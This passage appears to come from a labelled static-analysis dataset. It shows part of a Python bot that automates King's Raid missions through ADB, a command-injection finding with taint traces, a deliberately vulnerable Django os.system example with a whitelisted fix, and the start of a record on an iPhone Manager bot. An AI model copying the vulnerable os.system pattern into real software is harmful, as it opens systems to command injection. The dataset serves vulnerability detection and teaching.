self.shop_ = True\n return 'success'\n\n\n def stockage(self, device, position, data):\n print(device.serial+': farming stuffs in stockage...')\n logging.info(device.serial+': farming stuffs in stockage')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/stockage/enter_dungeons.png', device, data['stockage']['1']['dms'], data['stockage']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n if shortcut == 'loop':\n self.stockage_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # open stockage\n self.make_sure_loaded('./base/stockage/stockage.png', device, data['stockage']['2']['dms'], data['stockage']['2']['shell'], cutoff=9, sleep_duration=0.5)\n logging.info(device.serial+': opened stockage')\n\n def check_team(device, data):\n # slot 1\n self.make_sure_loaded('./base/tower/party_4.png', device, data['tower']['7']['dms'], data['tower']['7']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n # slot 2\n self.make_sure_loaded('./base/tower/party_3.png', device, data['tower']['8']['dms'], data['tower']['8']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n # slot 3\n self.make_sure_loaded('./base/tower/party_2.png', device, data['tower']['9']['dms'], data['tower']['9']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n # slot 4\n self.make_sure_loaded('./base/tower/party_1.png', device, data['tower']['10']['dms'], data['tower']['10']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n\n # fragment dungeons\n self.make_sure_loaded('./base/stockage/fragment_d.png', device, data['stockage']['3']['dms'], data['stockage']['3']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked fragment dungeons')\n # party\n self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['4']['dms'], data['stockage']['4']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked to party setup')\n # check avalible team\n check_team(device, data)\n # start battle\n self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['5']['dms'], data['stockage']['5']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked start battle')\n # auto repeat\n self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['6']['dms'], data['stockage']['6']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked auto repeat')\n # select reward\n self.make_sure_loaded('./base/stockage/fragment_select_reward.png', device, data['stockage']['7']['dms'], data['stockage']['7']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked to select reward')\n # click random reward\n lst = data['stockage']['8-0']['shell']\n r = choice(lst)\n # self.make_sure_loaded('./base/stockage/ok.png', device, data['stockage']['8-1']['dms'], data['stockage']['8-1']['shell']+str(r[0])+' '+str(r[1]), shell_first=True, sleep_duration=0.5)\n # logging.info(device.serial+': selected random reward')\n # click ok\n self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['9']['dms'], data['stockage']['9']['shell'], cutoff=10, loop=15, sleep_duration=0.5, second_shell=data['stockage']['8-1']['shell']+str(r[0])+' '+str(r[1]))\n logging.info(device.serial+': selected random reward and clicked ok to enter battle')\n slp(5)\n # wait until finish\n self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['10']['dms'], data['stockage']['10']['shell'], sleep_duration=15)\n logging.info(device.serial+': battle completed')\n # click exit\n self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['11']['dms'], data['stockage']['11']['shell'])\n logging.info(device.serial+': exited from fragment dungeons')\n\n\n # skill book dungeon\n self.make_sure_loaded('./base/stockage/skill_book_d.png', device, data['stockage']['12']['dms'], data['stockage']['12']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked skill book dungeons')\n # party\n self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['13']['dms'], data['stockage']['13']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked to party setup')\n # check avalible team\n check_team(device, data)\n # start battle\n self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['14']['dms'], data['stockage']['14']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked start battle')\n # auto repeat\n self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['15']['dms'], data['stockage']['15']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked auto repeat')\n # select reward\n self.make_sure_loaded('./base/stockage/exp_select_reward.png', device, data['stockage']['16']['dms'], data['stockage']['16']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked to select reward')\n # click random type of book\n lst = data['stockage']['17-0']['shell']\n r = choice(lst)\n device.shell(data['stockage']['17-1']['shell']+str(r[0])+' '+str(r[1]))\n logging.info(device.serial+': selected random book type')\n # click random book\n lst = data['stockage']['18-0']['shell']\n r = choice(lst)\n # self.make_sure_loaded('./base/stockage/ok_.png', device, data['stockage']['18-1']['dms'], data['stockage']['18-1']['shell']+str(r[0])+' '+str(r[1]), shell_first=True, sleep_duration=0.5)\n # logging.info(device.serial+': selected random book reward')\n # click ok\n self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['19']['dms'], data['stockage']['19']['shell'], cutoff=10, loop=15, sleep_duration=0.5, second_shell=data['stockage']['18-1']['shell']+str(r[0])+' '+str(r[1]))\n logging.info(device.serial+': selected random book reward and clicked ok to enter battle')\n slp(5)\n # wait until finish\n self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['20']['dms'], data['stockage']['20']['shell'], sleep_duration=15)\n logging.info(device.serial+': battle completed')\n # click exit\n self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['21']['dms'], data['stockage']['21']['shell'])\n logging.info(device.serial+': exited from skill book dungeons')\n\n\n # exp dungeon\n self.make_sure_loaded('./base/stockage/exp_d.png', device, data['stockage']['22']['dms'], data['stockage']['22']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked exp dungeons')\n # party\n self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['23']['dms'], data['stockage']['23']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked to party setup')\n # check avalible team\n check_team(device, data)\n # start battle\n self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['24']['dms'], data['stockage']['24']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked start battle')\n # auto repeat\n self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['25']['dms'], data['stockage']['25']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked auto repeat')\n # click ok\n self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['26']['dms'], data['stockage']['26']['shell'], loop=10, sleep_duration=0.5)\n logging.info(device.serial+': clicked ok to enter battle')\n slp(5)\n # wait until finish\n self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['27']['dms'], data['stockage']['27']['shell'], sleep_duration=15)\n logging.info(device.serial+': battle completed')\n # click exit\n self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['28']['dms'], data['stockage']['28']['shell'])\n logging.info(device.serial+': exited from exp dungeons')\n\n\n # gold dungeon\n self.make_sure_loaded('./base/stockage/gold_d.png', device, data['stockage']['29']['dms'], data['stockage']['29']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked exp dungeons')\n # party\n self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['30']['dms'], data['stockage']['30']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked to party setup')\n # check avalible team\n check_team(device, data)\n # start battle\n self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['31']['dms'], data['stockage']['31']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked start battle')\n # auto repeat\n self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['32']['dms'], data['stockage']['32']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked auto repeat')\n # click ok\n self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['33']['dms'], data['stockage']['33']['shell'], loop=10, sleep_duration=0.5)\n logging.info(device.serial+': clicked ok to enter battle')\n slp(5)\n # wait until finish\n self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['34']['dms'], data['stockage']['34']['shell'], sleep_duration=15)\n logging.info(device.serial+': battle completed')\n # click exit\n self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['35']['dms'], data['stockage']['35']['shell'])\n logging.info(device.serial+': exited from gold dungeons')\n\n\n # click exit\n self.make_sure_loaded('./base/stockage/my_info.png', device, data['stockage']['36']['dms'], data['stockage']['36']['shell'], sleep_duration=0.5)\n device.shell(data['stockage']['37']['shell'])\n logging.info(device.serial+': successfully did stockage mission')\n self.stockage_ = True\n return 'success'\n\n\n def tower(self, device, position, data, lang):\n print(device.serial+': battling in tower...')\n logging.info(device.serial+': battling in tower')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/tower/tower.png', device, data['tower']['1']['dms'], data['tower']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n if shortcut == 'loop':\n self.tower_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # click tower of challenge\n self.make_sure_loaded('./base/tower/toc.png', device, data['tower']['2']['dms'], data['tower']['2']['shell'], sleep_duration=1)\n logging.info(device.serial+': clicked toc')\n\n # change to floor 1\n with open('./languages.json', encoding='utf-8') as j:\n floor = json.load(j)[lang]['tower']\n while True:\n im, device = self.update_cache(device)\n pil_image = crop(im, data['tower']['3']['dms'])\n img = filter(pil_image)\n text = image_to_string(img, lang).replace('♀', '')\n if lang == 'jpn':\n text = text.replace(' ', '')\n text = text.splitlines()[0].lower().replace(' ','')\n if SequenceMatcher(None, text, floor).ratio() > 0.9:\n device.shell(data['tower']['5']['shell'])\n break\n else:\n device.shell(data['tower']['4']['shell'])\n slp(1)\n logging.info(device.serial+': changed floor level to 1')\n\n # click ready for battle\n self.make_sure_loaded('./base/tower/party.png', device, data['tower']['6']['dms'], data['tower']['6']['shell'])\n logging.info(device.serial+': clicked ready for battle')\n\n # check avalible team\n # slot 1\n self.make_sure_loaded('./base/tower/party_4.png', device, data['tower']['7']['dms'], data['tower']['7']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n # slot 2\n self.make_sure_loaded('./base/tower/party_3.png', device, data['tower']['8']['dms'], data['tower']['8']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n # slot 3\n self.make_sure_loaded('./base/tower/party_2.png', device, data['tower']['9']['dms'], data['tower']['9']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n # slot 4\n self.make_sure_loaded('./base/tower/party_1.png', device, data['tower']['10']['dms'], data['tower']['10']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n logging.info(device.serial+': checked all avalible slots')\n\n # click start battle to open select battle board\n self.make_sure_loaded('./base/tower/select_battle.png', device, data['tower']['11']['dms'], data['tower']['11']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked start battle and opened select battle board')\n\n # click start battle\n self.make_sure_loaded('./base/tower/end.png', device, data['tower']['12']['dms'], data['tower']['12']['shell'], sleep_duration=0.5, cutoff=10)\n logging.info(device.serial+': clicked start battle')\n\n # click exit battle\n self.make_sure_loaded('./base/tower/toc.png', device, data['tower']['2']['dms'], data['tower']['13']['shell'])\n logging.info(device.serial+': exited battle')\n\n # click exit\n self.make_sure_loaded('./base/tower/my_info.png', device, data['tower']['14']['dms'], data['tower']['14']['shell'], sleep_duration=0.5)\n device.shell(data['tower']['15']['shell'])\n logging.info(device.serial+': successfully did toc mission')\n self.tower_ = True\n return 'success'\n\n\n def wb(self, device, position, data):\n print(device.serial+': battling world boss...')\n logging.info(device.serial+': battling world boss')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/wb/wb.png', device, data['wb']['1']['dms'], data['wb']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n if shortcut == 'loop':\n self.wb_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # click get ready for battle\n close = self.make_sure_loaded('./base/wb/party.png', device, data['wb']['2']['dms'], data['wb']['2']['shell'], sleep_duration=2, cutoff=20, loop=20)\n # wb close\n if close == 'loop':\n self.wb_ = True\n # click exit\n self.make_sure_loaded('./base/wb/my_info.png', device, data['wb']['8']['dms'], data['wb']['8']['shell'], sleep_duration=0.5)\n device.shell(data['wb']['9']['shell'])\n return 'success'\n logging.info(device.serial+': loaded from get ready for battle')\n\n # check avalible team\n self.make_sure_loaded('./base/wb/a_party.png', device, data['wb']['3']['dms'], data['wb']['3']['shell'], cutoff=20, oposite=True, sleep_duration=0.5)\n logging.info(device.serial+': checked avalible party')\n\n # click set sub team\n self.make_sure_loaded('./base/wb/sub_party.png', device, data['wb']['4']['dms'], data['wb']['4']['shell'], sleep_duration=0.5, cutoff=2)\n logging.info(device.serial+': clicked set up sub team')\n\n # click start battle\n self.make_sure_loaded('./base/wb/loading.png', device, data['wb']['5']['dms'], data['wb']['5']['shell'], cutoff=10, \\\n sleep_duration=0.5, second_shell=data['wb']['5']['second_shell'], loop=10)\n logging.info(device.serial+': clicked start battle')\n\n # wait until finish\n self.make_sure_loaded('./base/wb/end.png', device, data['wb']['6']['dms'], sleep_duration=15, cutoff=20)\n logging.info(device.serial+': battle completed')\n\n # click exit battle\n self.make_sure_loaded('./base/wb/wb.png', device, data['wb']['7']['dms'], data['wb']['7']['shell'])\n logging.info(device.serial+': exited battle')\n \n # click exit\n self.make_sure_loaded('./base/wb/my_info.png', device, data['wb']['8']['dms'], data['wb']['8']['shell'], sleep_duration=0.5)\n device.shell(data['wb']['9']['shell'])\n logging.info(device.serial+': successfully did world boss mission')\n self.wb_ = True\n return 'success'\n\n\n def lil(self, device, position, data, res):\n print(device.serial+': feeding lil raider...')\n logging.info(device.serial+': feeding lil raider')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/lil/lil.png', device, data['lil']['1']['dms'], data['lil']['1']['shell']+position, cutoff=20, loop=20, sleep_duration=10)\n if shortcut == 'loop':\n self.lil_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # click treats\n self.make_sure_loaded('./base/lil/treats.png', device, data['lil']['2']['dms'], data['lil']['2']['shell'], cutoff=10, sleep_duration=0.5)\n logging.info(device.serial+': clicked treats')\n # click feed first lil raider\n self.make_sure_loaded('./base/lil/feeded.png', device, data['lil']['3']['dms'], data['lil']['3']['shell'], second_shell=data['lil']['4']['shell'], shell_first=True, cutoff=20, sleep_duration=0.5)\n logging.info(device.serial+': clicked feed')\n # click exit feeding\n self.make_sure_loaded('./base/lil/lil.png', device, data['lil']['5']['dms'], data['lil']['5']['shell'], cutoff=10, sleep_duration=0.5)\n logging.info(device.serial+': exit treats')\n\n # click exit\n self.make_sure_loaded('./base/lil/my_info.png', device, data['lil']['6']['dms'], data['lil']['6']['shell'], sleep_duration=0.5)\n device.shell(data['lil']['7']['shell'])\n logging.info(device.serial+': successfully did lil raider mission')\n self.lil_ = True\n return 'success'\n\n def weekly(self, device, data):\n logging.info(device.serial+': claiming weekly rewards')\n \n def claim():\n # claim rewards\n count = 0\n while True:\n if count == 9:\n break\n device.shell(data['claim'][0])\n device.shell(data['claim'][1])\n count+=1\n\n # change to weekly mission board\n self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['third_shell'], shell_first=True, sleep_duration=0.5, cutoff=8, loop=20)\n claim()\n\n def mails(self, device, data):\n print(device.serial+': mails is enabled, claiming all mails...')\n logging.info(device.serial+': claiming mails')\n\n # exit from mission board\n self.make_sure_loaded('./base/mails/my_info.png', device, data['mails']['1']['dms'], data['mails']['1']['shell'], sleep_duration=0.5)\n device.shell(data['mails']['2']['shell'])\n logging.info(device.serial+': exit to main screen (1)')\n\n # click mailbox\n self.make_sure_loaded('./base/mails/mailbox.png', device, data['mails']['3']['dms'], data['mails']['3']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked mailbox')\n\n # click claim all\n self.make_sure_loaded('./base/mails/claim_all.png', device, data['mails']['4']['dms'], data['mails']['4']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked claim all')\n\n # exit to main screen\n self.make_sure_loaded('./base/mails/my_info.png', device, data['mails']['1']['dms'], data['mails']['1']['shell'], sleep_duration=0.5)\n device.shell(data['mails']['2']['shell'])\n logging.info(device.serial+': exit to main screen (2)')\n\n \n def loh(self, device, data, lang):\n print(device.serial+': loh is enabled, suiciding in loh...')\n logging.info(device.serial+': suiciding in loh')\n \n # exit from mission board\n self.make_sure_loaded('./base/loh/my_info.png', device, data['loh']['1']['dms'], data['loh']['1']['shell'], sleep_duration=0.5)\n device.shell(data['loh']['2']['shell'])\n logging.info(device.serial+': exit to main screen')\n\n # click portal\n self.make_sure_loaded('./base/loh/portal.png', device, data['loh']['3']['dms'], data['loh']['3']['shell'], sleep_duration=1, ck_special_shop=False)\n logging.info(device.serial+': clicked portal')\n\n # click arena in portal\n self.make_sure_loaded('./base/loh/arena.png', device, data['loh']['4']['dms'], data['loh']['4']['shell'], cutoff=15, sleep_duration=0.5, ck_special_shop=False)\n logging.info(device.serial+': clicked arenas')\n\n # click loh in arena\n self.make_sure_loaded('./base/loh/notice.png', device, data['loh']['5']['dms'], data['loh']['5']['shell'], cutoff=20, sleep_duration=0.5, ck_special_shop=False)\n logging.info(device.serial+': clicked loh')\n\n # click ok in notice\n self.make_sure_loaded('./base/loh/loh.png', device, data['loh']['6']['dms'], data['loh']['6']['shell'],\n second_img='./base/loh/previous_result.png', third_img='./base/loh/rewards.png', sleep_duration=10, loop=10, ck_special_shop=False)\n logging.info(device.serial+': clicked ok in notice')\n\n # check\n def check_keys(device):\n while True:\n try:\n device.shell(data['loh']['7']['second_shell'])\n slp(3)\n device.shell(data['loh']['7']['shell'])\n slp(5)\n im, device = self.update_cache(device)\n im = crop(im, data['loh']['7']['dms'])\n text = image_to_string(im, lang).lower().replace('♀', '')\n detect(text)\n if lang == 'jpn':\n text = text.replace(' ', '')\n with open('./languages.json', encoding='utf-8') as j:\n re = json.load(j)\n if SequenceMatcher(None, re[lang]['loh'], text).ratio() > 0.9:\n return 'not enough currency'\n return 'continue'\n except:\n continue\n re = check_keys(device)\n if re == 'not enough currency':\n return 'not enough currency'\n\n # push script and continuosly execute\n device.shell('rm /sdcard/loh_script.sh')\n slp(5)\n device.push(data['loh']['scripts']['sh'], '/sdcard/loh_script.sh')\n start_time = tiime()\n seconds = 4000\n count = 0\n slp(5)\n device.shell(data['loh']['scripts']['confirm'])\n while True:\n current_time = tiime()\n elapsed_time = current_time - start_time\n if elapsed_time > seconds:\n break\n\n if count == 50:\n re = check_keys(device)\n if re == 'not enough currency':\n return 'not enough currency'\n count = 0\n\n device.shell(data['loh']['scripts']['get_ready'])\n device.shell(data['loh']['scripts']['confirm'])\n device.shell('sh /sdcard/loh_script.sh')\n count+=1\n\n logging.info(device.serial+': successfully suiciding in loh')\n return 'success'\n\n\n def extra_dailies(self, device):\n pass\n\n\ndef load_devices():\n working_dir = getcwd()\n adb_dir = '\"'+working_dir+'\\\\adb\" '\n run_(adb_dir+'kill-server')\n adb = Client(host=\"127.0.0.1\", port=5037)\n try:\n devices = adb.devices()\n except:\n run_(adb_dir+'devices')\n slp(5)\n run_(adb_dir+'devices')\n devices = adb.devices()\n return devices, adb_dir, adb\n\n\ndef run():\n\n with open('./config.json') as j:\n re = json.load(j)\n path = re['ldconsole'].replace('|', '\"')\n quit_all = False\n if re['quit_all'] == True:\n quit_all = True\n try:\n run_(path+' quitall')\n except FileNotFoundError:\n text = \"path to LDPlayer is wrong, please config and try again\"\n logging.info(text)\n print(text)\n input('press any key to exit...')\n return\n\n latest = get(\"https://api.github.com/repos/faber6/kings-raid-daily/releases/latest\")\n with open('./sets.json') as t:\n this = json.load(t)\n if latest.json()[\"tag_name\"] != this['version']:\n text = (f'\\nThere is a new version ({latest.json()[\"tag_name\"]}) of script on https://github.com/faber6/kings-raid-daily/releases'+\n '\\nIf this version not working as expected, please update to a newer version\\n')\n logging.info(text)\n print(text)\n def msg_box(this):\n answ = ctypes.windll.user32.MessageBoxW(0,\n text[1:].replace('\\n','\\n\\n')+'do you want to remind this later?',\n f\"kings-raid-daily new version ({latest.json()['tag_name']})\", 4)\n if answ == 6: # yes\n this['remind'] = True\n elif answ == 7: # no \n this['remind'] = False\n with open('./sets.json', 'w') as w:\n json.dump(this, w, indent=4)\n return\n msg_box_thread = Thread(target=msg_box, name='msg_box', args=(this,))\n if this['remind'] == True:\n msg_box_thread.start()\n else:\n if latest.json()[\"tag_name\"] != this['latest']:\n this['latest'] = latest.json()[\"tag_name\"]\n with open('./sets.json', 'w') as w:\n json.dump(this, w, indent=4)\n msg_box_thread.start()\n\n devices, adb_dir, adb = load_devices()\n count = 0\n while True:\n if count == 49:\n text = 'no device was found after 50 retries, script ended'\n logging.info(text)\n print(text)\n break\n if devices == []:\n if re['devices'] != []:\n if count == 4 or quit_all == True:\n if quit_all == True:\n text = 'quit all emulators, launching from config...'\n logging.info(text)\n print(text)\n else:\n text = 'no device was found after 5 retries, launching from config and retrying...'\n logging.info(text)\n print(text)\n break_ = False\n devices_dexist = 0\n if re['max_devices'] == 1:\n for device_ in re['devices']:\n try:\n re_ = run_(path+' launch --index '+str(device_), capture_output=True).stdout\n if str(re_)+'/' == \"\"\"b\"player don't exist!\"/\"\"\":\n devices_dexist += 1\n text = 'device with index '+str(device_)+\" doesn't exist\"\n logging.info(text)\n print(text)\n else:\n text = 'launched device with index '+str(device_)\n logging.info(text)\n print(text)\n print('waiting 30 secs for fully boot up')\n slp(30)\n while True:\n devices, adb_dir, adb = load_devices()\n if devices != []:\n if len(devices) == 1:\n for device in devices:\n if str(device.serial).startswith('127'):\n continue\n thread = Thread(target=Missions().run_execute, args=(device, device_,))\n text = 'executing on device '+device.serial\n logging.info(text)\n print(text)\n thread.start()\n start_time = tiime()\n seconds = 10800\n while True:\n current_time = tiime()\n elapsed_time = current_time - start_time\n if elapsed_time > seconds:\n break\n if thread.is_alive() == False:\n break\n else:\n text = \"'max_devices' set to 1 but 'adb devices' returns \"+str(len(devices))+' devices, retrying...'\n logging.info(text)\n print(text)\n continue\n break\n slp(5)\n break_ = True\n except FileNotFoundError:\n break_ = True\n text = \"path to LDPlayer is wrong, please config and try again\"\n logging.info(text)\n print(text)\n input('press any key to exit...')\n break\n if devices_dexist == len(re['devices']):\n text = \"all configured devices don't exit\"\n logging.info(text)\n print(text)\n input('press any key to exit...')\n break_ = True\n break\n else:\n running = 0\n _devices_ = {}\n for device_ in re['devices']:\n _devices_[device_] = False\n if len(_devices_) % 2 == 0:\n last_run = 0\n else:\n run_times = ceil(len(_devices_) / 2)\n last_run = len(_devices_) - run_times\n threads = []\n launched = []\n launched_ = []\n done = []\n devices_ = []\n _break_ = False\n i = 0\n while True:\n if len(done) == len(re['devices']):\n break_ = True\n _break_ = True\n break\n if running != 0:\n if running == re['max_devices'] or running == last_run:\n slp(10)\n for thread_ in threads:\n if int(thread_.name) not in done:\n start_time = tiime()\n seconds = 10800\n while True:\n current_time = tiime()\n elapsed_time = current_time - start_time\n if elapsed_time > seconds:\n break\n if thread_.is_alive() == False:\n break\n done.append(int(thread_.name))\n # for thread_ in threads:\n # if int(thread_.name) not in done:\n # thread_.join(9000)\n # done.append(int(thread_.name))\n running = running - len(done)\n else:\n for device_ in _devices_:\n if running == re['max_devices']:\n break\n elif _devices_[device_] == False:\n try:\n path = re['ldconsole'].replace('|', '\"')\n re_ = run_(path+' launch --index '+str(device_), capture_output=True).stdout\n if str(re_)+'/' == \"\"\"b\"player don't exist!\"/\"\"\":\n devices_dexist += 1\n text = 'device with index '+str(device_)+\" doesn't exist\"\n logging.info(text)\n print(text)\n else:\n text = 'launched device with index '+str(device_)\n logging.info(text) \n print(text)\n launched.append(int(device_))\n running += 1\n _devices_[device_] = True\n except FileNotFoundError:\n break_ = True\n _break_ = True\n text = \"path to LDPlayer is wrong, please config and try again\"\n logging.info(text)\n print(text)\n input('press any key to exit...')\n break\n if devices_dexist == len(re['devices']):\n text = \"all configured device(s) don't exit\"\n logging.info(text)\n print(text)\n input('press any key to exit...')\n break_ = True\n _break_ = True\n break\n print('waiting 30 secs for fully boot up')\n slp(30)\n while True:\n devices, adb_dir, adb = load_devices()\n if devices != []:\n if len(devices) == running:\n pass\n else:\n text = \"'max_devices' set to \"+str(re['max_devices'])+\" but 'adb devices' returns \"+str(len(devices))+' devices, retrying...'\n logging.info(text)\n print(text)\n continue\n for device in devices:\n if str(device.serial).startswith('127'):\n continue\n if device not in devices_:\n devices_.append(device)\n while True:\n try:\n device = devices_[i]\n device_ = launched[i]\n except:\n break\n if str(device.serial).startswith('127'):\n continue\n if int(device_) not in launched_:\n thread = Thread(target=Missions().run_execute, name=str(device_), args=(device,device_,))\n threads.append(thread)\n launched_.append(int(device_))\n text = 'executing on device '+device.serial\n logging.info(text)\n print(text)\n thread.start()\n i+=1\n break\n slp(5)\n if _break_ == True:\n break\n if break_ == True:\n break\n print('no device was found, retrying...')\n run_(adb_dir+'devices')\n devices = adb.devices()\n elif str(devices[0].serial).startswith('127'):\n print('no device was found, retrying...')\n devices, adb_dir, adb = load_devices()\n else:\n slp(10)\n run_(adb_dir+'devices')\n devices = adb.devices()\n print('device(s) detected')\n for device in devices:\n thread = Thread(target=Missions().run_execute, args=(device,))\n text = 'executing on device '+device.serial\n logging.info(text)\n print(text)\n thread.start()\n break\n slp(5)\n count+=1", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 1327, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 1328, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 1329, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "rerun.re[\"ldconsole\"]"}}, {"lineNo": 1329, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "replace"}}, {"lineNo": 1329, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 1392, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "1392"}}, {"lineNo": 1393, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "rerun.re[\"devices\"]"}}, {"lineNo": 1393, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 1393, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 1395, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 1395, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "run_"}}]}}
{"id": "4158c4a7074ed971584608b31962dca25096d8dfba600e95acd166220b23e147", "license": {"spdx": ["MIT"], "repo": "karenleewaddell/iPhone_Manager", "path": "iphone_manager.py", "repo_head_hexsha": "ce683c349cbb2ed03cb96b9cf21adc17903bb861", "stack_hexsha": "6ccd772b6551e6f64f8a47c7fc86c3a1b0ee9be4", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 215, "entireCode": "#\tiPhone Manager bot by Oldmole\n#\tNo support will be provided, this code is provided \"as is\" without warranty of any kind, either express or implied. Use at your own risk.\n#\tThe use of the software and scripts is done at your own discretion and risk and with agreement that you will be solely responsible for any damage\n# to your computer system or loss of data that results from such activities.\n#\n\n#\tIf you like the bot and would like buy me a pint, DM @oldmole#3895 and ask for my Paypal info\n#\tIf you update the bot, please send me a copy! :-)\n#\tGITHUB : https://github.com/sonofmole/iPhone_Manager\n\nimport sys\nimport yaml\nimport sqlite3\nimport hashlib\nimport discord\nimport psutil\nfrom discord.ext import commands\nimport subprocess\nimport asyncio\nfrom subprocess import Popen, PIPE\nfrom sqlite3 import OperationalError\nimport time\nimport math\n\nclass IPhone:\n\tdef __init__(self, device_uuid, iphone_name, iphone_id):\n\t\tself.device_uuid = device_uuid\n\t\tself.iphone_name = iphone_name\n\t\tself.iphone_id = iphone_id\n# A list of the commands\ncommand_list = [\n\t\"!sc {name of iphone} or !sc {iphone ID}\",\n\t \"Screenshots an iphone and uploads that screenshot to discord\\n\",\n\t \"!list iphones\", \"Lists the name and ID of all the available iphones\\n\",\n\t \"!kill usb\",\"Finds the proccess ID for usbmuxd and kill's it\\n\",\n\t \"!mac grab\",\n\t \"Takes a screengrab of your Mac and uploads that screengrab to discord\\n\",\n\t \"!reboot {name of iphone} or !reboot {iphone 